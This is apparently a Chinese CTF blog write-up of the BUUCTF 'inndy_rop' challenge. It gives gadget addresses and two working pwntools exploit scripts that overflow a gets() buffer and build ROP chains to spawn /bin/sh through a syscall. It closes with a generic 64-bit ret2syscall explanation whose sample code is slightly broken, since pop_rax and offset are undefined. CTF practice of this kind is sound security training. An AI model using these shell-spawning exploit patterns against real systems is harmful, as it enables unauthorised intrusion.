ret2syscall

[buu] inndy_rop

检查保护,文件只开启了NX。接着丢进ida里

找到目标函数,gets函数存在明显的栈溢出,并且可以看到该程序是静态链接的程序,这也就意味着我们可以找到足够使用的gaget去构造rop链从而控制程序执行流。

动调确定溢出长度位offset=16

寻找目标gagets

0x080b8016 : pop eax ; ret
0x080481c9 : pop ebx ; ret
0x080de769 : pop ecx ; ret
0x0806ecda : pop edx ; ret

对应exp:

from pwn import*
i=process("./rop")
context.log_level="debug"
 
pop_eax=0x080b8016
pop_ebx=0x080481c9
pop_ecx=0x080de769
pop_edx=0x0806ecda
int80=0x0806f430#用radare2,ropgadget搜索不到int 0x80;ret
bss=0x080EB5BD
p1=cyclic(0xc+4)
p1+=flat([pop_eax,0x3,pop_ebx,0,pop_ecx,bss,pop_edx,0x10,int80])
p1+=flat([pop_eax,0xb,pop_ebx,bss,pop_ecx,0,pop_edx,0,int80])
 
 
i.sendline(p1)
i.sendline(b"/bin/sh\x00")
 
i.interactive()

也可利用ropchain

exp:

from pwn import*
from struct import*     #pack
#io=process('./rop')
io=remote('node4.buuoj.cn',29207)
p=b'a'*(0xc+4)
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080b8016) # pop eax ; ret
p += b'/bin'
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea064) # @ .data + 4
p += pack('<I', 0x080b8016) # pop eax ; ret
p += b'//sh'
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x080492d3) # xor eax, eax ; ret
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481c9) # pop ebx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080de769) # pop ecx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x080492d3) # xor eax, eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0806c943) # int 0x80
io.sendline(p)
io.interactive()

ret2syscall是一种ROP(Return Oriented Programming)技术,用于在64位程序栈溢出利用中执行系统调用。其核心思路是通过构造栈上的数据,控制程序的执行流程,将寄存器设置为系统调用所需的参数,然后触发系统调用以执行特定操作,如执行shell等。 在64位系统中,常见的系统调用需要设置的寄存器及其作用如下: - `rax`:存储系统调用号。 - `rdi`:第一个参数。 - `rsi`:第二个参数。 - `rdx`:第三个参数。 为了实现ret2syscall,需要找到合适的gadget(小的代码片段)来控制寄存器的值。可以使用工具如`ROPgadget`来查找这些gadget。例如,为了设置`rdi`、`rsi`和`rdx`寄存器,可以使用以下命令来查找相应的`pop`指令gadget: ```bash ROPgadget --binary ret2sys_64 --only "pop|ret" | grep "pop rdi ; ret" ROPgadget --binary ret2sys_64 --only "pop|ret" | grep "pop rsi ; ret" ROPgadget --binary ret2sys_64 --only "pop|ret" | grep "pop rdx ; ret" ``` 以下是一个简单的伪代码示例,展示了如何构造一个ret2syscall的payload: ```python from pwn import * # 加载目标二进制文件 elf = ELF('ret2sys_64') # 查找gadget pop_rdi = 0xdeadbeef # 替换为实际的pop rdi; ret地址 pop_rsi = 0xcafebabe # 替换为实际的pop rsi; ret地址 pop_rdx = 0x13371337 # 替换为实际的pop rdx; ret地址 syscall = 0xfeedfeed # 替换为实际的syscall地址 # 系统调用号(例如,execve为59) syscall_num = 59 # 要执行的命令(例如,/bin/sh) cmd = "/bin/sh\x00" cmd_addr = elf.bss() + 0x100 # 在bss段找一个地址存放命令 # 构造payload payload = b'A' * offset # offset为溢出所需的填充字节数 payload += p64(pop_rdi) payload += p64(cmd_addr) payload += p64(pop_rsi) payload += p64(0) payload += p64(pop_rdx) payload += p64(0) payload += p64(pop_rax) payload += p64(syscall_num) payload += p64(syscall) # 发送payload p = process('ret2sys_64') p.sendline(payload) p.interactive() ``` 在实际应用中,需要根据具体的二进制文件和环境进行调整。同时,还需要注意ASLR(地址空间布局随机化)等防护机制的影响。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值